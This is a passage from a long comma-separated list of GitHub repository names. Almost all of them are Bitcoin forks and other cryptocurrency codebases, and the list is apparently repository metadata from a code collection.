m,Enticed87\/Decipher,kryptokredyt\/ProjektZespolowyCoin,sugruedes\/bitcoinxt,joroob\/reddcoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,zixan\/bitcoin,credits-currency\/credits,dperel\/bitcoin,coinkeeper\/2015-06-22_18-42_litecoin,CoinBlack\/bitcoin,simonmulser\/bitcoin,worldbit\/worldbit,goldcoin\/goldcoin,mapineda\/litecoin,landcoin-ldc\/landcoin,NateBrune\/bitcoin-fio,midnightmagic\/bitcoin,bespike\/litecoin,miguelfreitas\/twister-core,ohac\/sha1coin,achow101\/bitcoin,GlobalBoost\/GlobalBoost,MasterX1582\/bitcoin-becoin,segsignal\/bitcoin,ddombrowsky\/radioshares,jmcorgan\/bitcoin,lclc\/bitcoin,deeponion\/deeponion,my-first\/octocoin,AquariusNetwork\/ARCOv2,nikkitan\/bitcoin,afk11\/bitcoin,CoinGame\/BCEShadow,sarielsaz\/sarielsaz,genavarov\/ladacoin,lbrtcoin\/albertcoin,MikeAmy\/bitcoin,jimblasko\/2015_UNB_Wallets,funbucks\/notbitcoinxt,n1bor\/bitcoin,millennial83\/bitcoin,ekankyesme\/bitcoinxt,stamhe\/novacoin,qreatora\/worldcoin-v0.8,DrCrypto\/darkcoin,freelion93\/mtucicoin,TrainMAnB\/vcoincore,sipsorcery\/bitcoin,manuel-zulian\/CoMoNet,accraze\/bitcoin,cryptocoins4all\/zcoin,themusicgod1\/bitcoin,h4x3rotab\/BTCGPU,jl2012\/litecoin,tobeyrowe\/BitStarCoin,DynamicCoinOrg\/DMC,TheBlueMatt\/bitcoin,coinkeeper\/2015-06-22_18-37_dogecoin,111t8e\/bitcoin,xeddmc\/twister-core,xeddmc\/twister-core,jimblasko\/2015_UNB_Wallets,Bitcoin-ABC\/bitcoin-abc,BitcoinHardfork\/bitcoin,Vector2000\/bitcoin,Vector2000\/bitcoin,digibyte\/digibyte,ptschip\/bitcoinxt,scamcoinz\/scamcoin,Anoncoin\/anoncoin,DGCDev\/argentum,faircoin\/faircoin,benzhi888\/renminbi,arruah\/ensocoin,Krellan\/bitcoin,braydonf\/bitcoin,OmniLayer\/omnicore,vmp32k\/litecoin,sbellem\/bitcoin,awemany\/BitcoinUnlimited,bitgoldcoin-project\/bitgoldcoin,UASF\/bitcoin,vbernabe\/freicoin,sifcoin\/sifcoin,ryanofsky\/bitcoin,llluiop\/bitcoin,TheBlueMatt\/bitcoin,WorldcoinGlobal\/WorldcoinLegacy,MazaCoin\/maza,blocktrail\/bitcoin,fujicoin\/fujicoin,leofidus\/glowing-octo-ironman,SmeltFool\/Yippe-Hippe,koharjidan\/litecoin,axelxod\/braincoin,Ziftr\/bitcoin,greenaddress\/bitcoin,domob1812\/crowncoin,Alonzo-Coeus\/bitcoin,h4x3rotab\/BTCGPU,zenywallet\/bitzeny,llamasoft\/ProtoShares_Cycle,Adaryian\/E-Currency,kazcw\/bitcoin,yenliangl\/bitcoin,awemany\/BitcoinUnlimited,kleetus\/bitcoinxt,jtimon\/elements,wtogami\/bitcoin,randy-waterhouse\/bitcoin,ashleyholman\/bitcoin,coblee\/litecoin-old,PandaPayProject\/PandaPay,Kangmo\/bitcoin,TurboStake\/TurboStake,pocopoco\/yacoin,nlgcoin\/guldencoin-official,coinkeeper\/2015-06-22_18-42_litecoin,rdqw\/sscoin,wangxinxi\/litecoin,genavarov\/brcoin,benosa\/bitcoin,Jcing95\/iop-hd,presstab\/PIVX,UASF\/bitcoin,GwangJin\/gwangmoney-core,Open-Source-Coins\/EZ,kigooz\/smalltest,denverl\/bitcoin,coinkeeper\/2015-06-22_18-45_peercoin,landcoin-ldc\/landcoin,scmorse\/bitcoin,elambert2014\/cbx2,TGDiamond\/Diamond,gades\/novacoin,cainca\/liliucoin,nvmd\/bitcoin,crowning2\/dash,aniemerg\/zcash,howardrya\/AcademicCoin,nsacoin\/nsacoin,namecoin\/namecoin-core,earonesty\/bitcoin,peacedevelop\/peacecoin,slimcoin-project\/Slimcoin,coinkeeper\/2015-06-22_18-31_bitcoin,CoinGame\/BCEShadow,PandaPayProject\/PandaPay,Rav3nPL\/polcoin,supcoin\/supcoin,zenywallet\/bitzeny,error10\/bitcoin,laudaa\/bitcoin,bitgoldcoin-project\/bitgoldcoin,upgradeadvice\/MUE-Src,glv2\/peerunity,UFOCoins\/ufo,ftrader-bitcoinabc\/bitcoin-abc,elecoin\/elecoin,Climbee\/artcoin,scippio\/bitcoin,CTRoundTable\/Encrypted.Cash,grumpydevelop\/singularity,Peerapps\/ppcoin,Geekcoin-Project\/Geekcoin,presstab\/PIVX,ashleyholman\/bitcoin,jambolo\/bitcoin,roques\/bitcoin,chaincoin\/chaincoin,CodeShark\/bitcoin,ya4-old-c-coder\/yacoin,brishtiteveja\/sherlockcoin,ravenbyron\/phtevencoin,koharjidan\/bitcoin,funkshelper\/woodcoin-b,TierNolan\/bitcoin,tjps\/bitcoin,VsyncCrypto\/Vsync,randy-waterhouse\/bitcoin,bitshares\/bitshares-pts,wiggi\/huntercore,LIMXTEC\/DMDv3,pocopoco\/yacoin,ixcoinofficialpage\/master,benzmuircroft\/REWIRE.io,valorbit\/valorbit,lclc\/bitcoin,goldcoin\/Goldcoin-GLD,ajweiss\/bitcoin,axelxod\/braincoin,ctwiz\/stardust,domob1812\/namecore,BigBlueCeiling\/augmentacoin,ripper234\/bitcoin,matlongsi\/micropay,btc1\/bitcoin,kallewoof\/bitcoin,dgenr8\/bitcoinxt,jrmithdobbs\/bitcoin,tdudz\/elements,FuzzyBearBTC\/Fuzzyshares,zottejos\/merelcoin,Bitcoin-ABC\/bitcoin-abc,IlfirinIlfirin\/shavercoin,DGCDev\/digitalcoin,coinkeeper\/anoncoin_20150330_fixes,ahmedbodi\/temp_vert,Megacoin2\/Megacoin,markf78\/dollarcoin,petertodd\/bitcoin,hophacker\/bitcoin_malleability,botland\/bitcoin,monacoinproject\/monacoin,FuzzyBearBTC\/Fuzzyshares,zemrys\/vertcoin,kaostao\/bitcoin,Someguy123\/novafoil,Erkan-Yilmaz\/twister-core,mycointest\/owncoin,bcpki\/bitcoin,diggcoin\/diggcoin,GreenParhelia\/bitcoin,jlay11\/sharecoin,isle2983\/bitcoin,BitcoinPOW\/BitcoinPOW,appop\/bitcoin,segsignal\/bitcoin,millennial83\/bitcoin,NateBrune\/bitcoin-fio,StarbuckBG\/BTCGPU,vericoin\/vericoin-core,greencoin-dev\/greencoin-dev,tobeyrowe\/KitoniaCoin,DynamicCoinOrg\/DMC,coinkeeper\/megacoin_20150410_fixes,collapsedev\/circlecash,novaexchange\/EAC,ya4-old-c-coder\/yacoin,Kore-Core\/kore,richo\/dongcoin,likecoin-dev\/bitcoin,renatolage\/wallets-BRCoin,unsystemizer\/bitcoin,peacedevelop\/peacecoin,welshjf\/bitcoin,ticclassic\/ic,isghe\/bitcoinxt,penek\/novacoin,rnicoll\/bitcoin,oleganza\/bitcoin-duo,ZiftrCOIN\/ziftrcoin,AkioNak\/bitcoin,mycointest\/owncoin,bootycoin-project\/bootycoin,DrCrypto\/darkcoin,faircoin\/faircoin2,Thracky\/monkeycoin,plankton12345\/litecoin,maaku\/bitcoin,donaloconnor\/bitcoin,Paymium\/bitcoin,domob1812\/bitcoin,jonasnick\/bitcoin,myriadcoin\/myriadcoin,bitpagar\/bitpagar,Metronotes\/bitcoin,ahmedbodi\/vertcoin,aspanta\/bitcoin,shapiroisme\/datadollar,namecoin\/namecore,etercoin\/etercoin,KaSt\/equikoin,daliwangi\/bitcoin,adpg211\/bitcoin-master,Bloom-Project\/Bloom,Michagogo\/bitcoin,EthanHeilman\/bitcoin,bitcoinclassic\/bitcoinclassic,Krellan\/bitcoin,shurcoin\/shurcoin,barcoin-project\/nothingcoin,afk11\/bitcoin,marscoin\/marscoin,kaostao\/bitcoin,HeliumGas\/helium,iceinsidefire\/peershare-edit,48thct2jtnf\/P,111t8e\/bitcoin,rustyrussell\/bitcoin,reddcoin-project\/reddcoin,whatrye\/twister-core,Friedbaumer\/litecoin,koharjidan\/dogecoin,bittylicious\/bitcoin,plankton12345\/litecoin,Whitecoin-org\/Whitecoin,BlueMeanie\/PeerShares,aburan28\/elements,ShwoognationHQ\/bitcoin,GlobalBoost\/GlobalBoost,novaexchange\/EAC,namecoin\/namecoin-core,GroundRod\/anoncoin,hyperwang\/bitcoin,lbryio\/lbrycrd,marcusdiaz\/BitcoinUnlimited,stamhe\/ppcoin,dopecoin-dev\/DopeCoinGold,kevin-cantwell\/crunchcoin,fsb4000\/novacoin,rat4\/blackcoin,iadix\/iadixcoin,nomnombtc\/bitcoin,nlgcoin\/guldencoin-official,raasakh\/bardcoin,MOIN\/moin,tjth\/lotterycoin,guncoin\/guncoin,jnewbery\/bitcoin,sbellem\/bitcoin,tmagik\/catcoin,ludbb\/bitcoin,Anoncoin\/anoncoin,FuzzyBearBTC\/Peershares2,laudaa\/bitcoin,Friedbaumer\/litecoin,mapineda\/litecoin,uphold\/bitcoin,accraze\/bitcoin,skaht\/bitcoin,ghostlander\/Testcoin,Carrsy\/PoundCoin,enlighter\/Feathercoin,simdeveloper\/bitcoin,barcoin-project\/nothingcoin,lakepay\/lake,Kcoin-project\/kcoin,dscotese\/bitcoin,borgcoin\/Borgcoin1,florincoin\/florincoin,atgreen\/bitcoin,MazaCoin\/mazacoin-new,sbellem\/bitcoin,error10\/bitcoin,ivansib\/sibcoin,diggcoin\/diggcoin,domob1812\/i0coin,som4paul\/BolieC,sipa\/elements,dexX7\/bitcoin,fanquake\/bitcoin,elambert2014\/cbx2,tensaix2j\/bananacoin,AquariusNetwork\/ARCOv2,Petr-Economissa\/gvidon,webdesignll\/coin,NicolasDorier\/bitcoin,emc2foundation\/einsteinium,LanaCoin\/lanacoin,pascalguru\/florincoin,denverl\/bitcoin,se3000\/bitcoin,earonesty\/bitcoin,SandyCohen\/mincoin,keo\/bitcoin,FinalHashLLC\/namecore,Justaphf\/BitcoinUnlimited,mrbandrews\/bitcoin,jonghyeopkim\/bitcoinxt,morcos\/bitcoin,rat4\/blackcoin,gravio-net\/graviocoin,saydulk\/Feathercoin,coinkeeper\/2015-06-22_18-52_viacoin,jyap808\/jumbucks,NeuCoin\/neucoin,zebrains\/Blotter,jimmykiselak\/lbrycrd,oklink-dev\/bitcoin_block,domob1812\/namecore,florincoin\/florincoin,jrick\/bitcoin,superjudge\/bitcoin,akabmikua\/flowcoin,mortalvikinglive\/bitcoinclassic,wiggi\/fairbrix-0.6.3,MitchellMintCoins\/AutoCoin,isocolsky\/bitcoinxt,ForceMajeure\/BitPenny-Client,ludbb\/bitcoin,lordsajan\/erupee,Jcing95\/iop-hd,constantine001\/bitcoin,kaostao\/bitcoin,upgradeadvice\/MUE-Src,dperel\/bitcoin,sarielsaz\/sarielsaz,senadj\/yacoin,FuzzyBearBTC\/Peershares,trippysalmon\/bitcoin,octocoin-project\/octocoin,karek314\/bitcoin,BlockchainTechLLC\/3dcoin,s-matthew-english\/bitcoin,basicincome\/unpcoin-core,PIVX-Project\/PIVX,earthcoinproject\/earthcoin,particl\/particl-core,shaulkf\/bitcoin,rsdevgun16e\/energi,erqan\/twister-core,tedlz123\/Bitcoin,Bitcoin-ABC\/bitcoin-abc,ardsu\/bitcoin,ShwoognationHQ\/bitcoin,mincoin-project\/mincoin,compasscoin\/compasscoin,Tetpay\/bitcoin,Mirobit\/bitcoin,Peer3\/homework,zixan\/bitcoin,welshjf\/bitcoin,tobeyrowe\/smallchange,digideskio\/namecoin,ppcoin\/ppcoin,borgcoin\/Borgcoin.rar,bcpki\/testblocks,deuscoin\/deuscoin,ivansib\/sibcoin,CoinProjects\/AmsterdamCoin-v4,emc2foundation\/einsteinium,midnight-miner\/LasVegasCoin,bitcoinec\/bitcoinec,qtumproject\/qtum,GlobalBoost\/GlobalBoost,ahmedbodi\/test2,ShwoognationHQ\/bitcoin,jgarzik\/bitcoin,dagurval\/bitcoinxt,AsteraCoin\/AsteraCoin,digibyte\/digibyte,neuroidss\/bitcoin,wekuiz\/wekoin,celebritycoin\/investorcoin,psionin\/smartcoin,BeirdoMud\/MudCoin,shadowoneau\/ozcoin,Anoncoin\/anoncoin,bitcoin\/bitcoin,OstlerDev\/florincoin,ZiftrCOIN\/ziftrcoin,gameunits\/gameunits,domob1812\/bitcoin,Bushstar\/UFO-Project,KaSt\/ekwicoin,andres-root\/bitcoinxt,dogecoin\/dogecoin,bitcoinec\/bitcoinec,destenson\/bitcoin--bitcoin,omefire\/bitcoin,kazcw\/bitcoin,dscotese\/bitcoin,bitreserve\/bitcoin,TheOncomingStorm\/logincoinadvanced,Jeff88Ho\/bitcoin,se3000\/bitcoin,dexX7\/bitcoin,TheoremCrypto\/TheoremCoin,fsb4000\/bitcoin,sickpig\/BitcoinUnlimited,roques\/bitcoin,mobicoins\/mobicoin-core,presstab\/PIVX,lbrtcoin\/albertcoin,applecoin-official\/fellatio,magacoin\/magacoin,rnicoll\/dogecoin,nlgcoin\/guldencoin-official,Rav3nPL\/doubloons-0.10,ForceMajeure\/BitPenny-Client,cculianu\/bitcoin-abc,nikkitan\/bitcoin,romanornr\/viacoin,CoinGame\/BCEShadow,antcheck\/antcoin,thrasher-\/litecoin,bitcoinec\/bitcoinec,superjudge\/bitcoin,mm-s\/bitcoin,keo\/bitcoin,se3000\/bitcoin,BitzenyCoreDevelopers\/bitzeny,domob1812\/huntercore,dexX7\/bitcoin,vmp32k\/litecoin,redfish64\/nomiccoin,DMDcoin\/Diamond,zcoinofficial\/zcoin,ripper234\/bitcoin,habibmasuro\/bitcoin,kazcw\/bitcoin,jarymoth\/dogecoin,plncoin\/PLNcoin_Core,BenjaminsCrypto\/Benjamins-1,putinclassic\/putic,RongxinZhang\/bitcoinxt,Jcing95\/iop-hd,peacedevelop\/peacecoin,nvmd\/bitcoin,Bitcoin-ABC\/bitcoin-abc,dashpay\/dash,ElementsProject\/elements,tecnovert\/particl-core,adpg211\/bitcoin-master,nanocoins\/mycoin,whatrye\/twister-core,RyanLucchese\/energi,vbernabe\/freicoin,uphold\/bitcoin,CoinProjects\/AmsterdamCoin-v4,collapsedev\/circlecash,Cancercoin\/Cancercoin,truthcoin\/blocksize-market,Crypto-Currency\/BitBar,midnightmagic\/bitcoin,cryptocoins4all\/zcoin,mammix2\/ccoin-dev,gameunits\/gameunits,MitchellMintCoins\/MortgageCoin,coinkeeper\/2015-06-22_18-39_feathercoin,valorbit\/valorbit-oss,benzmuircroft\/REWIRE.io,npccoin\/npccoin,Jeff88Ho\/bitcoin,daveperkins-github\/bitcoin-dev,gmaxwell\/bitcoin,jashandeep-sohi\/ppcoin,Coinfigli\/coinfigli,viacoin\/viacoin,CoinGame\/BCEShadowNet,Friedbaumer\/litecoin,jimmysong\/bitcoin,kevcooper\/bitcoin,ahmedbodi\/temp_vert,vertcoin\/eyeglass,majestrate\/twister-core,21E14\/bitcoin,Peerunity\/Peerunity,NateBrune\/bitcoin-nate,forrestv\/bitcoin,gades\/novacoin,deeponion\/deeponion,altcoinpro\/addacoin,iosdevzone\/bitcoin,stevemyers\/bitcoinxt,oklink-dev\/bitcoin,martindale\/elements,kigooz\/smalltestnew,CoinBlack\/blackcoin,DogTagRecon\/Still-Leraning,funkshelper\/woodcore,midnightmagic\/bitcoin,DSPay\/DSPay,capitalDIGI\/litecoin,wederw\/bitcoin,bitreserve\/bitcoin,Carrsy\/PoundCoin,FeatherCoin\/Feathercoin,pataquets\/namecoin-core,rnicoll\/bitcoin,WorldcoinGlobal\/WorldcoinLegacy,ForceMajeure\/BitPenny-Client-0.4.0.1,aspanta\/bitcoin,elacoin\/elacoin,torresalyssa\/bitcoin,HeliumGas\/helium,parvez3019\/bitcoin,shelvenzhou\/BTCGPU,Credit-Currency\/CoinTestComp,diggcoin\/diggcoin,wiggi\/huntercore,Litecoindark\/LTCD,BitcoinHardfork\/bitcoin,sipa\/elements,JeremyRand\/bitcoin,XX-net\/twister-core,syscoin\/syscoin2,Ziftr\/litecoin,GeopaymeEE\/e-goldcoin,kseistrup\/twister-core,jimmysong\/bitcoin,ahmedbodi\/test2,safecoin\/safecoin,Earlz\/dobbscoin-source,cculianu\/bitcoin-abc,habibmasuro\/bitcoinxt,Alonzo-Coeus\/bitcoin,goku1997\/bitcoin,jlopp\/statoshi,tobeyrowe\/smallchange,MitchellMintCoins\/AutoCoin,goldcoin\/goldcoin,iadix\/iadixcoin,domob1812\/huntercore,pelorusjack\/BlockDX,icook\/vertcoin,Flowdalic\/bitcoin,dgarage\/bc2,oleganza\/bitcoin-duo,tuaris\/bitcoin,valorbit\/valorbit,jl2012\/litecoin,masterbraz\/dg,174high\/bitcoin,fsb4000\/novacoin,Exceltior\/dogecoin,keesdewit82\/LasVegasCoin,thodg\/ppcoin,Petr-Economissa\/gvidon,donaloconnor\/bitcoin,romanornr\/viacoin,bitcoinclassic\/bitcoinclassic,shomeser\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,Kogser\/bitcoin,dscotese\/bitcoin,jameshilliard\/bitcoin,hyperwang\/bitcoin,bitjson\/hivemind,Ziftr\/Peerunity,lateminer\/bitcoin,BitzenyCoreDevelopers\/bitzeny,degenorate\/Deftcoin,taenaive\/zetacoin,prark\/bitcoinxt,faircoin\/faircoin2,Cocosoft\/bitcoin,willwray\/dash,multicoins\/marycoin,coinkeeper\/2015-06-22_18-41_ixcoin,ghostlander\/Orbitcoin,markf78\/dollarcoin,stronghands\/stronghands,SartoNess\/BitcoinUnlimited,nightlydash\/darkcoin,ingresscoin\/ingresscoin,brettwittam\/geocoin,nathan-at-least\/zcash,fujicoin\/fujicoin,josephbisch\/namecoin-core,applecoin-official\/applecoin,ZiftrCOIN\/ziftrcoin,JeremyRand\/namecoin-core,LIMXTEC\/DMDv3,11755033isaprimenumber\/Feathercoin,dpayne9000\/Rubixz-Coin,bitgrowchain\/bitgrow,koharjidan\/dogecoin,ediston\/energi,collapsedev\/cashwatt,gcc64\/bitcoin,Michagogo\/bitcoin,qreatora\/worldcoin-v0.8,ahmedbodi\/terracoin,Litecoindark\/LTCD,elambert2014\/novacoin,cqtenq\/feathercoin_core,brishtiteveja\/sherlockholmescoin,razor-coin\/razor,afk11\/bitcoin,pinkevich\/dash,lentza\/SuperTurboStake,effectsToCause\/vericoin,Ziftr\/bitcoin,bankonmecoin\/bitcoin,Gazer022\/bitcoin,dgarage\/bc3,gjhiggins\/vcoin0.8zeta-dev,rebroad\/bitcoin,habibmasuro\/bitcoin,yacoin\/yacoin,BitcoinUnlimited\/BitcoinUnlimited,valorbit\/valorbit,faircoin\/faircoin2,Thracky\/monkeycoin,lentza\/SuperTurboStake,karek314\/bitcoin,netswift\/vertcoin,cerebrus29301\/crowncoin,cqtenq\/feathercoin_core,untrustbank\/litecoin,nvmd\/bitcoin,FuzzyBearBTC\/Peershares-1,brightcoin\/brightcoin,PIVX-Project\/PIVX,cculianu\/bitcoin-abc,BitcoinUnlimited\/BitcoinUnlimited,dgenr8\/bitcoinxt,unsystemizer\/bitcoin,forrestv\/bitcoin,genavarov\/brcoin,bitcoinclassic\/bitcoinclassic,ptschip\/bitcoin,peerdb\/cors,zcoinofficial\/zcoin,renatolage\/wallets-BRCoin,midnightmagic\/bitcoin,sugruedes\/bitcoin,Bitcoin-com\/BUcash,48thct2jtnf\/P,amaivsimau\/bitcoin,schinzelh\/dash,bcpki\/nonce2testblocks,nikkitan\/bitcoin,AdrianaDinca\/bitcoin,ElementsProject\/elements,bcpki\/testblocks,StarbuckBG\/BTCGPU,octocoin-project\/octocoin,pocopoco\/yacoin,Peer3\/homework,basicincome\/unpcoin-core,isghe\/bitcoinxt,wellenreiter01\/Feathercoin,XX-net\/twister-core,JeremyRubin\/bitcoin,shea256\/bitcoin,domob1812\/i0coin,tedlz123\/Bitcoin,kryptokredyt\/ProjektZespolowyCoin,Lucky7Studio\/bitcoin,MonetaryUnit\/MUE-Src,Credit-Currency\/CoinTestComp,theuni\/bitcoin,myriadcoin\/myriadcoin,Magicking\/neucoin,mb300sd\/bitcoin,micryon\/GPUcoin,mrbandrews\/bitcoin,MeshCollider\/bitcoin,KaSt\/ekwicoin,pataquets\/namecoin-core,gwillen\/elements,bitreserve\/bitcoin,zsulocal\/bitcoin,lordsajan\/erupee,Twyford\/Indigo,ionomy\/ion,puticcoin\/putic,HerkCoin\/herkcoin,shaolinfry\/litecoin,kseistrup\/twister-core,segsignal\/bitcoin,error10\/bitcoin,nsacoin\/nsacoin,millennial83\/bitcoin,funkshelper\/woodcoin-b,peerdb\/cors,mammix2\/ccoin-dev,magacoin\/magacoin,mortalvikinglive\/bitcoinclassic,vectorcoindev\/Vector,djtms\/ltc,Alex-van-der-Peet\/bitcoin,NeuCoin\/neucoin,TrainMAnB\/vcoincore,Exgibichi\/statusquo,braydonf\/bitcoin,saydulk\/Feathercoin,ghostlander\/Testcoin,jiffe\/cosinecoin,thormuller\/yescoin2,SocialCryptoCoin\/SocialCoin,bitreserve\/bitcoin,RyanLucchese\/energi,monacoinproject\/monacoin,bootycoin-project\/bootycoin,jlopp\/statoshi,willwray\/dash,tensaix2j\/bananacoin,thesoftwarejedi\/bitcoin,thesoftwarejedi\/bitcoin,zetacoin\/zetacoin,mitchellcash\/bitcoin,kigooz\/smalltestnew,XX-net\/twister-core,ryanofsky\/bitcoin,zixan\/bitcoin,CryptArc\/bitcoinxt,andres-root\/bitcoinxt,MarcoFalke\/bitcoin,brightcoin\/brightcoin,Enticed87\/Decipher,gameunits\/gameunits,se3000\/bitcoin,mooncoin-project\/mooncoin-landann,pdrobek\/Polcoin-1-3,stamhe\/ppcoin,pascalguru\/florincoin,jul2711\/jucoin,earthcoinproject\/earthcoin,steakknife\/bitcoin-qt,jyap808\/jumbucks,sproutcoin\/sprouts,r8921039\/bitcoin,koltcoin\/koltcoin,worldbit\/worldbit,nikkitan\/bitcoin,shelvenzhou\/BTCGPU,josephbisch\/namecoin-core,dagurval\/bitcoinxt,GwangJin\/gwangmoney-core,GroundRod\/anoncoin,viacoin\/viacoin,x-kalux\/bitcoin_WiG-B,MarcoFalke\/bitcoin,coinkeeper\/2015-06-22_18-45_peercoin,novacoin-project\/novacoin,qreatora\/worldcoin-v0.8,imton\/bitcoin,litecoin-project\/litecore-litecoin,netswift\/vertcoin,dmrtsvetkov\/flowercoin,elecoin\/elecoin,coinerd\/krugercoin,rjshaver\/bitcoin,ahmedbodi\/terracoin,zenywallet\/bitzeny,practicalswift\/bitcoin,aspirecoin\/aspire,langerhans\/dogecoin,BitcoinPOW\/BitcoinPOW,privatecoin\/privatecoin,jiangyonghang\/bitcoin,byncoin-project\/byncoin,Blackcoin\/blackcoin,gjhiggins\/vcoincore,TrainMAnB\/vcoincore,Jeff88Ho\/bitcoin,rnicoll\/dogecoin,wtogami\/bitcoin,koharjidan\/bitcoin,Jeff88Ho\/bitcoin,Peershares\/Peershares,koharjidan\/litecoin,KaSt\/equikoin,JeremyRubin\/bitcoin,BeirdoMud\/MudCoin,svcop3\/svcop3,TrainMAnB\/vcoincore,TheBlueMatt\/bitcoin,HerkCoin\/herkcoin,akabmikua\/flowcoin,Litecoindark\/LTCD,coinkeeper\/2015-06-22_19-13_florincoin,dmrtsvetkov\/flowercoin,aspirecoin\/aspire,iadix\/iadixcoin,jtimon\/bitcoin,arruah\/ensocoin,Mrs-X\/Darknet,ColossusCoinXT\/ColossusCoinXT,apoelstra\/elements,shomeser\/bitcoin,BlueMeanie\/PeerShares,starwalkerz\/fincoin-fork,janko33bd\/bitcoin,jlay11\/sharecoin,dpayne9000\/Rubixz-Coin,and2099\/twister-core,lentza\/SuperTurboStake,segsignal\/bitcoin,XertroV\/bitcoin-nulldata,MazaCoin\/maza,aciddude\/Feathercoin,balajinandhu\/bitcoin,stronghands\/stronghands,elliotolds\/bitcoin,simonmulser\/bitcoin,Jcing95\/iop-hd,DSPay\/DSPay,octocoin-project\/octocoin,degenorate\/Deftcoin,alexwaters\/Bitcoin-Testing,syscoin\/syscoin,reddink\/reddcoin,janko33bd\/bitcoin,guncoin\/guncoin,bankonmecoin\/bitcoin,GroestlCoin\/bitcoin,marscoin\/marscoin,redfish64\/nomiccoin,applecoin-official\/applecoin,whatrye\/twister-core,cryptodev35\/icash,AdrianaDinca\/bitcoin,gameunits\/gameunits,monacoinproject\/monacoin,OmniLayer\/omnicore,cddjr\/BitcoinUnlimited,kfitzgerald\/titcoin,KnCMiner\/bitcoin,ajtowns\/bitcoin,scippio\/bitcoin,kallewoof\/bitcoin,AkioNak\/bitcoin,stamhe\/bitcoin,sarielsaz\/sarielsaz,and2099\/twister-core,CrimeaCoin\/crimeacoin,MOIN\/moin,IOCoin\/iocoin,bankonmecoin\/bitcoin,capitalDIGI\/litecoin,superjudge\/bitcoin,prusnak\/bitcoin,dobbscoin\/dobbscoin-source,majestrate\/twister-core,drwasho\/bitcoinxt,likecoin-dev\/bitcoin,antonio-fr\/bitcoin,DigiByte-Team\/digibyte,xawksow\/GroestlCoin,freelion93\/mtucicoin,snakie\/ppcoin,myriadteam\/myriadcoin,alejandromgk\/Lunar,axelxod\/braincoin,ravenbyron\/phtevencoin,brettwittam\/geocoin,barcoin-project\/nothingcoin,mobicoins\/mobicoin-core,iQcoin\/iQcoin,imton\/bitcoin,bitcoin\/bitcoin,okinc\/bitcoin,mobicoins\/mobicoin-core,Justaphf\/BitcoinUnlimited,lbryio\/lbrycrd,AllanDoensen\/BitcoinUnlimited,robvanmieghem\/clams,qubitcoin-project\/QubitCoinQ2C,deadalnix\/bitcoin,constantine001\/bitcoin,mb300sd\/bitcoin,nochowderforyou\/clams,sbaks0820\/bitcoin,benzhi888\/renminbi,willwray\/dash,xXDavasXx\/Davascoin,mincoin-project\/mincoin,vtafaucet\/virtacoin,Peerunity\/Peerunity,RHavar\/bitcoin,wellenreiter01\/Feathercoin,javgh\/bitcoin,erikYX\/yxcoin-FIRST,Bitcoin-ABC\/bitcoin-abc,RongxinZhang\/bitcoinxt,szlaozhu\/twister-core,truthcoin\/truthcoin-cpp,peercoin\/peercoin,pascalguru\/florincoin,gazbert\/bitcoin,Exgibichi\/statusquo,HerkCoin\/herkcoin,TGDiamond\/Diamond,aspanta\/bitcoin,iadix\/iadixcoin,BigBlueCeiling\/augmentacoin,capitalDIGI\/DIGI-v-0-10-4,nathan-at-least\/zcash,llamasoft\/ProtoShares_Cycle,Anfauglith\/iop-hd,dobbscoin\/dobbscoin-source,111t8e\/bitcoin,r8921039\/bitcoin,cryptohelper\/premine,bitcoinxt\/bitcoinxt,phplaboratory\/psiacoin,nsacoin\/nsacoin,whatrye\/twister-core,psionin\/smartcoin,senadmd\/coinmarketwatch,okcashpro\/okcash,imharrywu\/fastcoin,XertroV\/bitcoin-nulldata,amaivsimau\/bitcoin,phelix\/namecore,Action-Committee\/Spaceballz,coinkeeper\/2015-06-22_19-19_worldcoin,rjshaver\/bitcoin,gzuser01\/zetacoin-bitcoin,zottejos\/merelcoin,UdjinM6\/dash,mammix2\/ccoin-dev,jonghyeopkim\/bitcoinxt,szlaozhu\/twister-core,PandaPayProject\/PandaPay,Kefkius\/clams,kevin-cantwell\/crunchcoin,nmarley\/dash,GreenParhelia\/bitcoin,tobeyrowe\/smallchange,maaku\/bitcoin,NateBrune\/bitcoin-nate,maraoz\/proofcoin,rjshaver\/bitcoin,willwray\/dash,richo\/dongcoin,goldmidas\/goldmidas,enlighter\/Feathercoin,coinkeeper\/2015-06-22_18-41_ixcoin,cryptcoins\/cryptcoin,lbrtcoin\/albertcoin,ghostlander\/Testcoin,starwels\/starwels,imharrywu\/fastcoin,vtafaucet\/virtacoin,destenson\/bitcoin--bitcoin,MonetaryUnit\/MUE-Src,dgenr8\/bitcoinxt,GeekBrony\/ponycoin-old,jrick\/bitcoin,shadowoneau\/ozcoin,zemrys\/vertcoin,reddcoin-project\/reddcoin,apoelstra\/bitcoin,40thoughts\/Coin-QualCoin,Paymium\/bitcoin,gavinandresen\/bitcoin-git,reddink\/reddcoin,dexX7\/mastercore,HeliumGas\/helium,isocolsky\/bitcoinxt,vlajos\/bitcoin,nmarley\/dash,phelixbtc\/bitcoin,DMDcoin\/Diamond,and2099\/twister-core,rat4\/bitcoin,brishtiteveja\/sherlockholmescoin,Bloom-Project\/Bloom,syscoin\/syscoin2,Matoking\/bitcoin,aciddude\/Feathercoin,andres-root\/bitcoinxt,sugruedes\/bitcoinxt,EthanHeilman\/bitcoin,blocktrail\/bitcoin,apoelstra\/bitcoin,tripmode\/pxlcoin,kallewoof\/elements,osuyuushi\/laughingmancoin,biblepay\/biblepay,madman5844\/poundkoin,GeopaymeEE\/e-goldcoin,tobeyrowe\/BitStarCoin,borgcoin\/Borgcoin.rar,TrainMAnB\/vcoincore,fussl\/elements,jonghyeopkim\/bitcoinxt,Crypto-Currency\/BitBar,hsavit1\/bitcoin,zcoinofficial\/zcoin,sugruedes\/bitcoinxt,Rimbit\/Wallets,globaltoken\/globaltoken,FuzzyBearBTC\/Fuzzyshares,fullcoins\/fullcoin,gjhiggins\/fuguecoin,misdess\/bitcoin,mm-s\/bitcoin,gwangjin2\/gwangcoin-core,domob1812\/bitcoin,fussl\/elements,coinkeeper\/2015-06-22_19-07_digitalcoin,JeremyRand\/namecoin-core,nailtaras\/nailcoin,lclc\/bitcoin,mikehearn\/bitcoin,Megacoin2\/Megacoin,afk11\/bitcoin,litecoin-project\/litecoin,genavarov\/lamacoin,xuyangcn\/opalcoin,robvanbentem\/bitcoin,crowning2\/dash,rsdevgun16e\/energi,argentumproject\/argentum,zander\/bitcoinclassic,Ziftr\/bitcoin,Metronotes\/bitcoin,Flurbos\/Flurbo,ohac\/sha1coin,iceinsidefire\/peershare-edit,untrustbank\/litecoin,coinkeeper\/ter